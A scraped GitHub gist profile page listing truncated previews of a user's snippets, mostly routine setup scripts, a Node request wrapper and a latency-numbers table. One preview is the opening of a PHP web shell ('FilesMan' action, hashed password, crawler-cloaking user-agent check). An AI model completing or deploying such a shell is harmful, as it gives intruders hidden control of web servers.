Skip to content

Instantly share code, notes, and snippets.

View shebinleo's full-sized avatar

Shebin Leo Vincent shebinleo

View GitHub Profile
How to install and run Headless nightmare.js based scripts in Ubuntu.
Steps:
1. Spin Ubuntu 16.04 x64 server
2. Run: apt-get update
3. Run: apt-get upgrade
4. Run: apt-get install -y libgtk2.0-0 libgconf-2-4 libasound2 libxtst6 libxss1 libnss3 xvfb
5. Install Node.js 6+. See: https://nodejs.org/en/download/package-manager/#debian-and-ubuntu-based-linux-distributions
You can then run your script using this command:
<?php
$auth_pass = "63a9f0ea7bb98050796b649e85481845";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
#+Dump Columns ////Boolean
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
cd ~
sudo apt-get update
sudo apt-get install openjdk-7-jre-headless -y
wget https://download.elasticsearch.org/elasticsearch/elasticsearch/elasticsearch-0.20.6.tar.gz
tar -xf elasticsearch.tar.gz
rm elasticsearch.tar.gz
sudo mv elasticsearch-* elasticsearch
sudo mv elasticsearch /usr/local/share
<html>
<body>
<script>
var xml_type;
// branch for native XMLHttpRequest object
if(window.XMLHttpRequest && !(window.ActiveXObject)) {
@shebinleo
shebinleo / reqUrl.js
Created August 9, 2012 18:03 — forked from wilsonpage/reqUrl.js
A function I made that wraps the node http.request function to make it a little more friendly. In my case I am using it for API route testing.
// module dependencies
var http = require('http'),
url = require('url');
/**
* UrlReq - Wraps the http.request function making it nice for unit testing APIs.
*
* @param {string} reqUrl The required url in any form
* @param {object} options An options object (this is optional)
@shebinleo
shebinleo / latency.txt
Created August 9, 2012 18:02 — forked from jboner/latency.txt
Latency Numbers Every Programmer Should Know
Latency Comparison Numbers
--------------------------
L1 cache reference 0.5 ns
Branch mispredict 5 ns
L2 cache reference 7 ns 14x L1 cache
Mutex lock/unlock 25 ns
Main memory reference 100 ns 20x L2 cache, 200x L1 cache
Compress 1K bytes with Zippy 3,000 ns
Send 1K bytes over 1 Gbps network 10,000 ns 0.01 ms
Read 4K randomly from SSD* 150,000 ns 0.15 ms
@shebinleo
shebinleo / .gitignore
Created February 17, 2012 17:33 — forked from bergie/.gitignore
Node.js email handling examples
config.json
reading-image.png